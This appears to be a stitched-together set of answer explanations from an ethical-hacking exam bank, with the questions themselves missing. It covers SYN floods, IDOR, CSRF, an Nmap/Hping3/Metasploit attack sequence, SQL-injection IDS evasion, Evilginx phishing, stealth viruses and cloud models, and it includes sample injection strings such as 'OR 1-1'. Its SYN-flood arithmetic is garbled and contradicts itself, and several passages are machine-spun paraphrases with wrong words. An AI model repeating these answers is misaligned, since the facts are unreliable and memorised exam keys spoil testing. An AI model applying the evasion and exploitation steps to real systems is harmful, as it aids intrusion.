A SYN flood attack is a type of denial-of-service (DoS) attack that exploits the TCP handshake process by sending a large number of SYN requests to the target server, without completing the connection. This consumes the connection state tables on the server, preventing it from accepting new connections. The attacker has crafted an automated botnet to simultaneously send ‘s’ SYN packets per second to the server. The server can handle ‘f’ SYN packets per second without any performance issues. If ‘s’ exceeds ‘f’, the network infrastructure begins to show signs of overload. The system’s response time increases exponentially (24k), where ‘k’ represents each additional SYN packet above the ‘f’ limit.

Considering ‘s=500’ and different ‘f’ values, the scenario that is most likely to cause the server to experience overload and significantly increased response times is the one where ‘f=420’. This is because ‘s’ is greater than ‘f’ by 80 packets per second, which means the server cannot handle the incoming traffic and will eventually run out of resources. The response time shoots up (2480 = 281,474,976,710,656 times the normal response time), indicating a system overload.

The other scenarios are less likely or less severe than the one where ‘f=420’. Option A has ‘f=510’, which is greater than ‘s’, so the system stays stable and the response time remains unaffected. Option B has ‘f=495’, which is less than ‘s’ by 5 packets per second, so the response time drastically rises (245 = 32 times the normal response time), indicating a probable system overload, but not as extreme as option D. Option C has ‘f=505’, which is less than ‘s’ by 5 packets per second, so the response time increases but not as drastically (245 = 32 times the normal response time), and the system might still function, albeit slowly. References:

• SYN flood DDoS attack | Cloudflare
• SYN flood - Wikipedia
• What Is a SYN Flood Attack? | F5
• What is a SYN flood attack and how to prevent it? | NETSCOUT

https://www.infocyte.com/blog/2019/02/16/cybersecurity-101-what-you-need-to-know-about-false-positives-and-false-negatives/

False positives are mislabeled security alerts, indicating there is a threat when in actuality, there isn’t. These false/non-malicious alerts (SIEM events) increase noise for already over-worked security teams and can include software bugs, poorly written software, or unrecognized network traffic.

False negatives are uncaught cyber threats — overlooked by security tooling because they’re dormant, highly sophisticated (i.e. file-less or capable of lateral movement) or the security infrastructure in place lacks the technological ability to detect these attacks.

This question shows a classic example of an IDOR vulnerability. Rob substitutes Ned's name in the "name" parameter and if the developer has not fixed this vulnerability, then Rob will gain access to Ned's account. Below you will find more detailed information about IDOR vulnerability.

Insecure direct object references (IDOR) are a cybersecurity issue that occurs when a web application developer uses an identifier for direct access to an internal implementation object but provides no additional access control and/or authorization checks. For example, an IDOR vulnerability would happen if the URL of a transaction could be changed through client-side user input to show unauthorized data of another transaction.

Most web applications use simple IDs to reference objects. For example, a user in a database will usually be referred to via the user ID. The same user ID is the primary key to the database column containing user information and is generated automatically. The database key generation algorithm is very simple: it usually uses the next available integer. The same database ID generation mechanisms are used for all other types of database records.

The approach described above is legitimate but not recommended because it could enable the attacker to enumerate all users. If it’s necessary to maintain this approach, the developer must at least make absolutely sure that more than just a reference is needed to access resources. For example, let’s say that the web application displays transaction details using the following URL:

• https://www.example.com/transaction.php?id=74656

A malicious hacker could try to substitute the id parameter value 74656 with other similar values, for example:

• https://www.example.com/transaction.php?id=74657

The 74657 transaction could be a valid transaction belonging to another user. The malicious hacker should not be authorized to see it. However, if the developer made an error, the attacker would see this transaction and hence we would have an insecure direct object reference vulnerability.

A vulnerability assessment is a systematic review of security weaknesses in an information system. It evaluates if the system is susceptible to any known vulnerabilities, assigns severity levels to those vulnerabilities, and recommends remediation or mitigation, if and whenever needed1. A vulnerability assessment can be performed using various tools and techniques, depending on the scope and objectives of the assessment.

Considering the potential vulnerability sources, the best initial approach to vulnerability assessment is to check for hardware and software misconfigurations to identify any possible loopholes. Hardware and software misconfigurations are common sources of vulnerabilities that can expose the system to unauthorized access, data breaches, or service disruptions. Hardware and software misconfigurations can include:

• Insecure default settings, such as weak passwords, open ports, unnecessary services, or verbose error messages.
• Improper access control policies, such as granting excessive privileges, allowing anonymous access, or failing to revoke access for terminated users.
• Lack of encryption or authentication mechanisms, such as using plain text protocols, storing sensitive data in clear text, or transmitting data without verifying the identity of the sender or receiver.
• Outdated or incompatible software versions, such as using unsupported or deprecated software, failing to apply security patches, or having software conflicts or dependencies.

Checking for hardware and software misconfigurations can help identify any possible loopholes that could be exploited by attackers to compromise the system or the data. Checking for hardware and software misconfigurations can be done using various tools, such as:

• Configuration management tools, such as Ansible, Puppet, or Chef, that can automate the deployment and maintenance of consistent and secure configurations across the system.
• Configuration auditing tools, such as Nipper, Lynis, or OpenSCAP, that can scan the system for deviations from the desired or expected configurations and report any issues or vulnerabilities.
• Configuration testing tools, such as Inspec, Serverspec, or Testinfra, that can verify the system’s compliance with the specified configuration rules and standards.

Therefore, checking for hardware and software misconfigurations is the best initial approach to vulnerability assessment, as it can help identify and eliminate any possible loopholes that could pose a security risk to the system or the data.

References:

• Vulnerability Assessment Principles | Tenable®
• Configuration Management Tools: A Complete Guide - Guru99
• Top 10 Configuration Auditing Tools - Infosec Resources
• [Configuration Testing Tools: A Complete Guide - Guru99]

An anomaly-based intrusion detection system is an intrusion detection system for detecting both network and computer intrusions and misuse by monitoring system activity and classifying it as either normal or anomalous. The classification is based on heuristics or rules, rather than patterns or signatures, and attempts to detect any type of misuse that falls out of normal system operation. This is as opposed to signature-based systems, which can only detect attacks for which a signature has previously been created.

In order to positively identify attack traffic, the system must be taught to recognize normal system activity. The two phases of a majority of anomaly detection systems consist of the training phase (where a profile of normal behaviors is built) and the testing phase (where current traffic is compared with the profile created in the training phase). Anomalies are detected in several ways, most often with artificial intelligence type techniques. Systems using artificial neural networks have been used to great effect. Another method is to define what normal usage of the system comprises using a strict mathematical model, and flag any deviation from this as an attack. This is known as strict anomaly detection.[3] Other techniques used to detect anomalies include data mining methods, grammar-based methods, and the Artificial Immune System.

Network-based anomalous intrusion detection systems often provide a second line of defense to detect anomalous traffic at the physical and network layers after it has passed through a firewall or other security appliance on the border of a network. Host-based anomalous intrusion detection systems are one of the last layers of defense and reside on computer endpoints. They allow for fine-tuned, granular protection of endpoints at the application level.

Anomaly-based Intrusion Detection at both the network and host levels have a few shortcomings; namely a high false-positive rate and the ability to be fooled by a correctly delivered attack. Attempts have been made to address these issues through techniques used by PAYL and MCPAD.

https://owasp.org/www-community/attacks/csrf

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.

CSRF is an attack that tricks the victim into submitting a malicious request. It inherits the identity and privileges of the victim to perform an undesired function on the victim’s behalf. For most sites, browser requests automatically include any credentials associated with the site, such as the user’s session cookie, IP address, Windows domain credentials, and so forth. Therefore, if the user is currently authenticated to the site, the site will have no way to distinguish between the forged request sent by the victim and a legitimate request sent by the victim.

CSRF attacks target functionality that causes a state change on the server, such as changing the victim’s email address or password, or purchasing something. Forcing the victim to retrieve data doesn’t benefit an attacker because the attacker doesn’t receive the response, the victim does. As such, CSRF attacks target state-changing requests.

It’s sometimes possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called “stored CSRF flaws”. This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified. In particular, the likelihood is increased because the victim is more likely to view the page containing the attack than some random page on the Internet. The likelihood is also increased because the victim is sure to be authenticated to the site already.

The sequence of actions that would provide the most comprehensive information about the network’s status is to use Hping3 for an ICMP ping scan on the entire subnet, then use Nmap for a SYN scan on identified active hosts, and finally use Metasploit to exploit identified vulnerabilities. This sequence of actions works as follows:

• Use Hping3 for an ICMP ping scan on the entire subnet: This action is used to discover the active hosts on the network by sending ICMP echo request packets to each possible IP address on the subnet and waiting for ICMP echo reply packets from the hosts. Hping3 is a command-line tool that can craft and send custom packets, such as TCP, UDP, or ICMP, and analyze the responses. By using Hping3 for an ICMP ping scan, the hacker can quickly and efficiently identify the live hosts on the network, as well as their response times and packet loss rates12.
• Use Nmap for a SYN scan on identified active hosts: This action is used to scan the open ports and services on the active hosts by sending TCP SYN packets to a range of ports and analyzing the TCP responses. Nmap is a popular and powerful tool that can perform various types of network scans, such as port scanning, service detection, OS detection, and vulnerability scanning. By using Nmap for a SYN scan, the hacker can determine the state of the ports on the active hosts, such as open, closed, filtered, or unfiltered, as well as the services and protocols running on them. A SYN scan is also known as a stealth scan, as it does not complete the TCP three-way handshake and thus avoids logging on the target system34.
• Use Metasploit to exploit identified vulnerabilities: This action is used to exploit the vulnerabilities on the active hosts by using pre-built or custom modules that leverage the open ports and services. Metasploit is a framework that contains a collection of tools and modules for penetration testing and exploitation. By using Metasploit, the hacker can launch various attacks on the active hosts, such as remote code execution, privilege escalation, or backdoor installation, and gain access to the target system or data. Metasploit can also be used to perform post-exploitation tasks, such as gathering information, maintaining persistence, or pivoting to other systems .

The other options are not as comprehensive as option B for the following reasons:

• A. Initiate with Nmap for a ping sweep, then use Metasploit to scan for open ports and services, and finally use Hping3 to perform remote OS fingerprinting: This option is not optimal because it does not use the tools in the most efficient and effective way. Nmap can perform a ping sweep, but it is slower and less flexible than Hping3, which can craft and send custom packets. Metasploit can scan for open ports and services, but it is more suitable for exploitation than scanning, and it relies on Nmap for port scanning anyway. Hping3 can perform remote OS fingerprinting, but it is less accurate and reliable than Nmap, which can use various techniques and probes to determine the OS type and version13 .
• C. Start with Hping3 for a UDP scan on random ports, then use Nmap for a version detection scan, and finally use Metasploit to exploit detected vulnerabilities: This option is not effective because it does not use the best scanning methods and techniques. Hping3 can perform a UDP scan, but it is slower and less reliable than a TCP scan, as UDP is a connectionless protocol that does not always generate responses. Scanning random ports is also inefficient and incomplete, as it may miss important ports or services. Nmap can perform a version detection scan, but it is more useful to perform a port scan first, as it can narrow down the scope and speed up the scan. Metasploit can exploit detected vulnerabilities, but it is not clear how the hacker can identify the vulnerabilities without performing a vulnerability scan first13 .
• D. Begin with NetScanTools Pro for a general network scan, then use Nmap for OS detection and version detection, and finally perform an SYN flooding with Hping3: This option is not comprehensive because it does not cover all the aspects and objectives of a network scan. NetScanTools Pro is a graphical tool that can perform various network tasks, such as ping, traceroute, DNS lookup, or port scan, but it is less powerful and versatile than Nmap or Hping3, which can perform more advanced and customized scans. Nmap can perform OS detection and version detection, but it is more useful to perform a port scan first, as it can provide more information and insights into the target system. Performing an SYN flooding with Hping3 is not a network scan, but a denial-of-service attack, which can disrupt the network and alert the target system, and it is not an ethical or legal action for a hired hacker13 .

References:

• 1: Hping - Wikipedia
• 2: Hping3 Examples - NetworkProGuide
• 3: Nmap - Wikipedia
• 4: Nmap Tutorial: From Discovery to Exploits – Part 1: Introduction to Nmap | HackerTarget.com
• : Metasploit Project - Wikipedia
• : Metasploit Unleashed - Offensive Security
• : NetScanTools Pro - Northwest Performance Software, Inc.

Software as a service (SaaS) allows users to attach to and use cloud-based apps over the web. Common examples ar email, calendaring and workplace tool (such as Microsoft workplace 365).

SaaS provides a whole software solution that you get on a pay-as-you-go basis from a cloud service provider. You rent the use of an app for your organisation and your users connect with it over the web, typically with an internet browser. All of the underlying infrastructure, middleware, app software system and app knowledge ar located within the service provider’s knowledge center. The service provider manages the hardware and software system and with the appropriate service agreement, can make sure the availability and also the security of the app and your data as well. SaaS allows your organisation to induce quickly up and running with an app at token upfront cost.

Common SaaS scenariosThis tool having used a web-based email service like Outlook, Hotmail or Yahoo! Mail, then you have got already used a form of SaaS. With these services, you log into your account over the web, typically from an internet browser. the e-mail software system is found on the service provider’s network and your messages ar hold on there moreover. you can access your email and hold on messages from an internet browser on any laptop or Internet-connected device.

The previous examples are free services for personal use. For organisational use, you can rent productivity apps, like email, collaboration and calendaring; and sophisticated business applications like client relationship management (CRM), enterprise resource coming up with (ERP) and document management. You buy the use of those apps by subscription or per the level of use.

Advantages of SaaSGain access to stylish applications. to supply SaaS apps to users, you don’t ought to purchase, install, update or maintain any hardware, middleware or software system. SaaS makes even sophisticated enterprise applications, like ERP and CRM, affordable for organisations that lack the resources to shop for, deploy and manage the specified infrastructure and software system themselves.

Pay just for what you utilize. you furthermore may economize because the SaaS service automatically scales up and down per the level of usage.

Use free shopper software system. Users will run most SaaS apps directly from their web browser without needing to transfer and install any software system, though some apps need plugins. this suggests that you simply don’t ought to purchase and install special software system for your users.

Mobilise your hands simply. SaaS makes it simple to “mobilise” your hands as a result of users will access SaaS apps and knowledge from any Internet-connected laptop or mobile device. You don’t ought to worry concerning developing apps to run on differing types of computers and devices as a result of the service supplier has already done therefore. additionally, you don’t ought to bring special experience aboard to manage the safety problems inherent in mobile computing. A fastidiously chosen service supplier can make sure the security of your knowledge, no matter the sort of device intense it.

Access app knowledge from anyplace. With knowledge hold on within the cloud, users will access their info from any Internet-connected laptop or mobile device. And once app knowledge is hold on within the cloud, no knowledge is lost if a user’s laptop or device fails.

The protocol that you would recommend to the team to achieve the secure exchange of the symmetric key is the Diffie-Hellman protocol. The Diffie-Hellman protocol is a key agreement protocol that allows two or more parties to establish a shared secret key over an unsecured communication channel, without having to exchange the key itself. The Diffie-Hellman protocol works as follows12:

• The parties agree on a large prime number p and a generator g, which are public parameters that can be known by anyone.
• Each party chooses a random private number a or b, which are kept secret from anyone else.
• Each party computes a public value A or B, by raising g to the power of a or b modulo p, i.e., A = g^a mod p and B = g^b mod p.
• Each party sends their public value A or B to the other party over the unsecured channel.
• Each party computes the shared secret key K, by raising the received public value to the power of their own private number modulo p, i.e., K = A^b mod p = B^a mod p.
• The parties can now use the shared secret key K to encrypt and decrypt the data using a symmetric key encryption algorithm, such as AES or 3DES.

The Diffie-Hellman protocol can ensure the secure exchange of the symmetric key because it relies on the mathematical difficulty of computing discrete logarithms, which means that it is hard to find the private numbers a or b given the public values A or B, g, and p. Therefore, an attacker who intercepts the public values A or B cannot easily compute the shared secret key K, and thus cannot decrypt the data encrypted with K12.

The other options are not as appropriate as option B for the following reasons:

• A. Implementing SSL certificates on your company’s web servers: This option is not relevant because SSL certificates are not used to exchange symmetric keys, but to authenticate the identity of the web servers and to establish a secure connection using public key encryption. SSL certificates are digital certificates that contain the public key and the identity information of the web server, and are issued and signed by a trusted certificate authority (CA). When a client connects to a web server, the web server sends its SSL certificate to the client, who verifies it with the CA. If the verification is successful, the client and the web server use the public key in the certificate to exchange a symmetric key, which is then used to encrypt and decrypt the data. However, this option does not address the scenario of transmitting data over an unsecured communication channel, which may not involve web servers or SSL certificates34.
• C. Switching all data transmission to the HTTPS protocol: This option is not sufficient because HTTPS protocol is not a protocol for exchanging symmetric keys, but a protocol for securing web traffic using SSL or TLS encryption. HTTPS protocol is a combination of HTTP protocol and SSL or TLS protocol, which means that it uses HTTP for the application layer communication and SSL or TLS for the transport layer encryption. When a client requests a web page from a web server using HTTPS protocol, the client and the web server establish a secure connection using SSL or TLS protocol, which involves the exchange of SSL certificates and a symmetric key, as explained in option A. Then, the client and the web server use the symmetric key to encrypt and decrypt the HTTP data. However, this option does not address the scenario of transmitting data over an unsecured communication channel, which may not involve web servers or HTTPS protocol5 .
• D. Utilizing SSH for secure remote logins to the servers: This option is not applicable because SSH is not a protocol for exchanging symmetric keys, but a protocol for securing remote access to servers using public key authentication and encryption. SSH is a protocol that allows a client to securely connect to a server and execute commands or transfer files over an encrypted channel. SSH uses public key cryptography to authenticate the identity of the server and the client, and to exchange a symmetric key, which is then used to encrypt and decrypt the data. However, this option does not address the scenario of transmitting data over an unsecured communication channel, which may not involve remote logins or SSH protocol .

References:

• 1: Diffie–Hellman key exchange - Wikipedia
• 2: Diffie-Hellman Key Exchange - an overview | ScienceDirect Topics
• 3: SSL Certificate - an overview | ScienceDirect Topics
• 4: What is an SSL Certificate? | DigiCert.com
• 5: HTTPS - Wikipedia
• : What is HTTPS? | Cloudflare
• : SSH (Secure Shell) - Wikipedia
• : What is SSH? | SSH.COM

Evilginx Evilginx is a man-in-the-middle attack framework used for phishing credentials and session cookies of any web service. It's core runs on Nginx HTTP server, which utilizes proxy_pass and sub_filter to proxy and modify HTTP content, while intercepting traffic between client and server.

The deep web is the layer of the online cyberspace that consists of web pages and content that are hidden and unindexed.

A Cloud Access Security Broker (CASB) is a security policy enforcement point, either on-premises or in the cloud, that administers an organization’s enterprise security policies when users attempt to access its cloud-based resources. A CASB can provide unified security management across multiple cloud platforms, as it can monitor cloud activity, enforce security policies, identify and respond to threats, and maintain visibility of all cloud resources. A CASB can also integrate with other security tools, such as data loss prevention (DLP), encryption, malware detection, and identity and access management (IAM), to enhance the security posture of the organization.

The other options are not as effective or feasible as using a CASB. Using a hardware-based firewall to secure all cloud resources may not be compatible with the dynamic and scalable nature of the cloud, as it may introduce latency, complexity, and cost. Implementing separate security management tools for each cloud platform may create inconsistency, inefficiency, and confusion, as each tool may have different features, interfaces, and configurations. Relying on the built-in security features of each cloud platform may not be sufficient or comprehensive, as each platform may have different levels of security, compliance, and functionality. References:

• What Is a Cloud Access Security Broker (CASB)? | Microsoft
• What Is a CASB? - Cloud Access Security Broker - Cisco
• What is a Cloud Access Security Broker (CASB)?

The most probable subsequent action from the attacker based on the Cyber Kill Chain Methodology is to exploit the malicious payload delivered to the target organization and establish a foothold. This option works as follows:

• The Cyber Kill Chain Methodology is a framework that describes the stages of a cyberattack from the perspective of the attacker. It helps defenders to understand the attacker’s objectives, tactics, and techniques, and to design effective countermeasures. The Cyber Kill Chain Methodology consists of seven stages: reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on objectives12.
• The delivery stage is the third stage in the Cyber Kill Chain Methodology, and it involves sending or transmitting the weaponized payload to the target system. The delivery stage can use various methods, such as email attachments, web links, removable media, or network protocols. The delivery stage aims to reach the target system and bypass any security controls, such as firewalls, antivirus, or email filters12.
• The exploitation stage is the fourth stage in the Cyber Kill Chain Methodology, and it involves executing the malicious payload on the target system. The exploitation stage can use various techniques, such as buffer overflows, code injection, or privilege escalation. The exploitation stage aims to exploit a vulnerability or a weakness in the target system and gain access to its resources, such as files, processes, or memory12.
• The installation stage is the fifth stage in the Cyber Kill Chain Methodology, and it involves installing a backdoor or a malware on the target system. The installation stage can use various tools, such as rootkits, trojans, or ransomware. The installation stage aims to establish a foothold on the target system and maintain persistence, which means to survive reboots, updates, or scans12.

Therefore, the most probable subsequent action from the attacker based on the Cyber Kill Chain Methodology is to exploit the malicious payload delivered to the target organization and establish a foothold, because:

• This action follows the logical sequence of the Cyber Kill Chain Methodology, as it is the next stage after the delivery stage.
• This action is consistent with the attacker’s goal, as it allows the attacker to gain access and control over the target system and prepare for further actions.
• This action is feasible, as the attacker has already delivered the malicious payload to the target system and may have bypassed some security controls.

The other options are not as probable as option B for the following reasons:

• A. The attacker will attempt to escalate privileges to gain complete control of the compromised system: This option is possible, but not the most probable, because it is not the next stage in the Cyber Kill Chain Methodology, but rather a technique that can be used in the exploitation stage or the installation stage. Privilege escalation is a method of increasing the level of access or permissions on a system, such as from a normal user to an administrator. Privilege escalation can help the attacker to gain complete control of the compromised system, but it is not a mandatory step, as the attacker may already have sufficient privileges or may use other techniques to achieve the same goal12.
• C. The attacker will initiate an active connection to the target system to gather more data: This option is possible, but not the most probable, because it is not the next stage in the Cyber Kill Chain Methodology, but rather a technique that can be used in the command and control stage or the actions on objectives stage. An active connection is a communication channel that allows the attacker to send commands or receive data from the target system, such as a remote shell or a botnet. An active connection can help the attacker to gather more data from the target system, but it is not a necessary step, as the attacker may already have enough data or may use other techniques to obtain more data12.
• D. The attacker will start reconnaissance to gather as much information as possible about the target: This option is not probable, because it is not the next stage in the Cyber Kill Chain Methodology, but rather the first stage. Reconnaissance is the process of collecting information about the target, such as its IP address, domain name, network structure, services, vulnerabilities, or employees. Reconnaissance is usually done before the delivery stage, as it helps the attacker to identify the target and plan the attack. Reconnaissance can be done again after the delivery stage, but it is not the most likely action, as the attacker may already have enough information or may focus on other actions12.

References:

• 1: The Cyber Kill Chain: The Seven Steps of a Cyberattack - EC-Council
• 2: Cyber Kill Chain® | Lockheed Martin

Non-repudiation is the assurance that someone cannot deny the validity of something. Non-repudiation is a legal concept that is widely used in information security and refers to a service, which provides proof of the origin of data and the integrity of the data. In other words, non-repudiation makes it very difficult to successfully deny who/where a message came from as well as the authenticity and integrity of that message.

https://support.riverbed.com/content/support/software/steelcentral-npm/airpcap.html

Since this question refers specifically to analyzing a wireless network, it is obvious that we need an option with AirPcap (Riverbed AirPcap USB-based adapters capture 802.11 wireless traffic for analysis). Since it works with two traffic analyzers SteelCentral Packet Analyzer (Cascade Pilot) or Wireshark, the correct option would be "Wireshark with Airpcap."

NOTE: AirPcap adapters no longer available for sale effective January 1, 2018, but a question on this topic may occur on your exam.

-sA (TCP ACK scan)

This scan is different than the others discussed so far in that it never determines open (or even open|filtered) ports. It is used to map out firewall rulesets, determining whether they are stateful or not and which ports are filtered.

The ACK scan probe packet has only the ACK flag set (unless you use --scanflags). When scanning unfiltered systems, open and closed ports will both return a RST packet. Nmap then labels them as unfiltered, meaning that they are reachable by the ACK packet, but whether they are open or closed is undetermined. Ports that don't respond, or send certain ICMP error messages back (type 3, code 0, 1, 2, 3, 9, 10, or 13), are labeled filtered.

https://nmap.org/book/man-port-scanning-techniques.html

http://www.carnal0wnage.com/papers/LSO-Hping2-Basics.pdf

Most ping programs use ICMP echo requests and wait for echo replies to come back to test connectivity. Hping2 allows us to do the same testing using any IP packet, including ICMP, UDP, and TCP. This can be helpful since nowadays most firewalls or routers block ICMP. Hping2, by default, will use TCP, but, if you still want to send an ICMP scan, you can. We send ICMP scans using the -1 (one) mode. Basically the syntax will be hping2 -1 IPADDRESS

• [root@localhost hping2-rc3]# hping2 -1 192.168.0.100
• HPING 192.168.0.100 (eth0 192.168.0.100): icmp mode set, 28 headers + 0 data bytes
• len=46 ip=192.168.0.100 ttl=128 id=27118 icmp_seq=0 rtt=14.9 ms
• len=46 ip=192.168.0.100 ttl=128 id=27119 icmp_seq=1 rtt=0.5 ms
• len=46 ip=192.168.0.100 ttl=128 id=27120 icmp_seq=2 rtt=0.5 ms
• len=46 ip=192.168.0.100 ttl=128 id=27121 icmp_seq=3 rtt=1.5 ms
• len=46 ip=192.168.0.100 ttl=128 id=27122 icmp_seq=4 rtt=0.9 ms
• — 192.168.0.100 hping statistic —
• 5 packets tramitted, 5 packets received, 0% packet loss
• round-trip min/avg/max = 0.5/3.7/14.9 ms
• [root@localhost hping2-rc3]#

A Slow HTTP POST attack is a type of denial-of-service (DoS) attack that exploits the way web servers handle HTTP requests. The attacker sends a legitimate HTTP POST header to the web server, specifying a large amount of data to be sent in the request body. However, the attacker then sends the data very slowly, keeping the connection open and occupying the server’s resources. The attacker can launch multiple such connections, exceeding the server’s capacity to handle concurrent requests and preventing legitimate users from accessing the web server.

The attack duration D is given by the formula D = a * b, where a is the number of connections and b is the hold-up time per connection. The attacker intends to maximize D by manipulating a and b. The server can manage m connections per second, but any connections exceeding m will overwhelm the system. Therefore, the scenario that is most likely to result in the longest duration of server unavailability is the one where a > m and b is the largest. Among the four options, this is the case for option B, where a = 100, m = 90, and b = 15. In this scenario, D = 100 * 15 = 1500 seconds, which is the longest among the four options. Option A has a larger b, but a < m, so the server can handle the connections without being overwhelmed. Option C has a > m, but a smaller b, so the attack duration is shorter. Option D has a > m, but a smaller b and a smaller difference between a and m, so the attack duration is also shorter. References:

• What is a Slow POST Attack & How to Prevent One? (Guide)
• Mitigate Slow HTTP GET/POST Vulnerabilities in the Apache HTTP Server - Acunetix
• What is a Slow Post DDoS Attack? | NETSCOUT

The hacker could have used the technique of manipulating white spaces in SQL queries to bypass signature detection. This technique involves inserting, removing, or replacing white spaces in SQL queries with other characters or symbols that are either ignored or interpreted as white spaces by the SQL engine, but not by the signature-based IDS. This way, the hacker can alter the appearance of the query and evade the pattern matching of the IDS, while preserving the functionality and logic of the query. For example, the hacker could replace the space character with a tab character, a newline character, a comment symbol, or a URL-encoded value, such as %2012.

The other options are not correct for the following reasons:

• A. Utilizing the char encoding function to convert hexadecimal and decimal values into characters that pass-through SQL engine parsing: This option is not feasible because the char encoding function is not supported by all SQL engines, and it may not be able to convert all hexadecimal and decimal values into valid characters. Moreover, the char encoding function may not be able to bypass the signature detection of the IDS, as it may still match the keywords or syntax of the SQL query3.
• B. Using the URL encoding method to replace characters with their ASCII codes in hexadecimal form: This option is not effective because the URL encoding method is not applicable to SQL queries, as it is designed for encoding special characters in URLs. The URL encoding method may not be able to replace all characters with their ASCII codes, and it may not be able to preserve the functionality and logic of the SQL query. Furthermore, the URL encoding method may not be able to evade the signature detection of the IDS, as it may still match the keywords or syntax of the SQL query4.
• C. Implementing sophisticated matches such as “OR ‘john’ = john" in place of classical matches like “OR 1-1”: This option is not advanced because it is a common and basic SQL injection technique that does not involve any evasion or obfuscation. This technique involves injecting a logical expression that is always true, such as “OR ‘john’ = john” or “OR 1-1”, to bypass the authentication or authorization checks of the SQL query. However, this technique may not be able to bypass the signature detection of the IDS, as it may easily match the keywords or syntax of the SQL query.

References:

• 1: SQL Injection Evasion Detection - F5
• 2: Mastering SQL Injection with SQLmap: A Comprehensive Evasion Techniques Cheatsheet
• 3: SQL Injection Prevention - OWASP Cheat Sheet Series
• 4: URL Encoding - W3Schools
• : SQL Injection - OWASP Foundation

Operation Cloud Hopper was an in depth attack and theft of data in 2017 directed at MSP within the uk (U.K.), us (U.S.), Japan, Canada, Brazil, France, Switzerland, Norway, Finland, Sweden, South Africa , India, Thailand, South Korea and Australia. The group used MSP as intermediaries to accumulate assets and trade secrets from MSP client engineering, MSP industrial manufacturing, retail, energy, pharmaceuticals, telecommunications, and government agencies.Operation Cloud Hopper used over 70 variants of backdoors, malware and trojans. These were delivered through spear-phishing emails. The attacks scheduled tasks or leveraged services/utilities to continue Microsoft Windows systems albeit the pc system was rebooted. It installed malware and hacking tools to access systems and steal data.

A stealth virus may be a sort of virus malware that contains sophisticated means of avoiding detection by antivirus software. After it manages to urge into the now-infected machine a stealth viruses hides itself by continually renaming and moving itself round the disc.Like other viruses, a stealth virus can take hold of the many parts of one’s PC. When taking control of the PC and performing tasks, antivirus programs can detect it, but a stealth virus sees that coming and can rename then copy itself to a special drive or area on the disc, before the antivirus software. Once moved and renamed a stealth virus will usually replace the detected ‘infected’ file with a clean file that doesn’t trigger anti-virus detection. It’s a never-ending game of cat and mouse.The intelligent architecture of this sort of virus about guarantees it’s impossible to completely rid oneself of it once infected. One would need to completely wipe the pc and rebuild it from scratch to completely eradicate the presence of a stealth virus. Using regularly-updated antivirus software can reduce risk, but, as we all know, antivirus software is additionally caught in an endless cycle of finding new threats and protecting against them.

https://www.techslang.com/definition/what-is-a-stealth-virus/

Twofish is an encryption algorithm designed by Bruce Schneier. It’s a symmetric key block cipher with a block size of 128 bits, with keys up to 256 bits. it’s associated with AES (Advanced Encryption Standard) and an earlier block cipher called Blowfish. Twofish was actually a finalist to become the industry standard for encryption, but was ultimately beaten out by the present AES.Twofish has some distinctive features that set it aside from most other cryptographic protocols. For one, it uses pre-computed, key-dependent S-boxes. An S-box (substitution-box) may be a basic component of any symmetric key algorithm which performs substitution. within the context of Twofish’s block cipher, the S-box works to obscure the connection of the key to the ciphertext. Twofish uses a pre-computed, key-dependent S-box which suggests that the S-box is already provided, but depends on the cipher key to decrypt the knowledge .

How Secure is Twofish?Twofish is seen as a really secure option as far as encryption protocols go. one among the explanations that it wasn’t selected because the advanced encryption standard is thanks to its slower speed. Any encryption standard that uses a 128-bit or higher key, is theoretically safe from brute force attacks. Twofish is during this category.Because Twofish uses “pre-computed key-dependent S-boxes”, it are often susceptible to side channel attacks. this is often thanks to the tables being pre-computed. However, making these tables key-dependent helps mitigate that risk. There are a couple of attacks on Twofish, but consistent with its creator, Bruce Schneier, it didn’t constitute a real cryptanalysis. These attacks didn’t constitue a practical break within the cipher.

Products That Use TwofishGnuPG: GnuPG may be a complete and free implementation of the OpenPGP standard as defined by RFC4880 (also referred to as PGP). GnuPG allows you to encrypt and sign your data and communications; it features a flexible key management system, along side access modules for all types of public key directories.KeePass: KeePass may be a password management tool that generates passwords with top-notch security. It’s a free, open source, lightweight and easy-to-use password manager with many extensions and plugins.Password Safe: Password Safe uses one master password to stay all of your passwords protected, almost like the functionality of most of the password managers on this list. It allows you to store all of your passwords during a single password database, or multiple databases for various purposes. Creating a database is straightforward , just create the database, set your master password.PGP (Pretty Good Privacy): PGP is employed mostly for email encryption, it encrypts the content of the e-mail . However, Pretty Good Privacy doesn’t encrypt the topic and sender of the e-mail , so make certain to never put sensitive information in these fields when using PGP.TrueCrypt: TrueCrypt may be a software program that encrypts and protects files on your devices. With TrueCrypt the encryption is transparent to the user and is completed locally at the user’s computer. this suggests you’ll store a TrueCrypt file on a server and TrueCrypt will encrypt that file before it’s sent over the network.

The purpose of this idea is to permit multiple customers to figure on joint projects and applications that belong to the community, where it’s necessary to possess a centralized clouds infrastructure. In other words, Community Cloud may be a distributed infrastructure that solves the precise problems with business sectors by integrating the services provided by differing types of clouds solutions.

The communities involved in these projects, like tenders, business organizations, and research companies, specialise in similar issues in their cloud interactions. Their shared interests may include concepts and policies associated with security and compliance considerations, and therefore the goals of the project also .

Community Cloud computing facilitates its users to spot and analyze their business demands better. Community Clouds could also be hosted during a data center, owned by one among the tenants, or by a third-party cloud services provider and may be either on-site or off-site.

Community Cloud Examples and Use CasesCloud providers have developed Community Cloud offerings, and a few organizations are already seeing the advantages . the subsequent list shows a number of the most scenarios of the Community Cloud model that’s beneficial to the participating organizations.

• Multiple governmental departments that perform transactions with each other can have their processing systems on shared infrastructure. This setup makes it cost-effective to the tenants, and may also reduce their data traffic.

Benefits of Community CloudsCommunity Cloud provides benefits to organizations within the community, individually also as collectively. Organizations don’t need to worry about the safety concerns linked with Public Cloud due to the closed user group.

This recent cloud computing model has great potential for businesses seeking cost-effective cloud services to collaborate on joint projects, because it comes with multiple advantages.

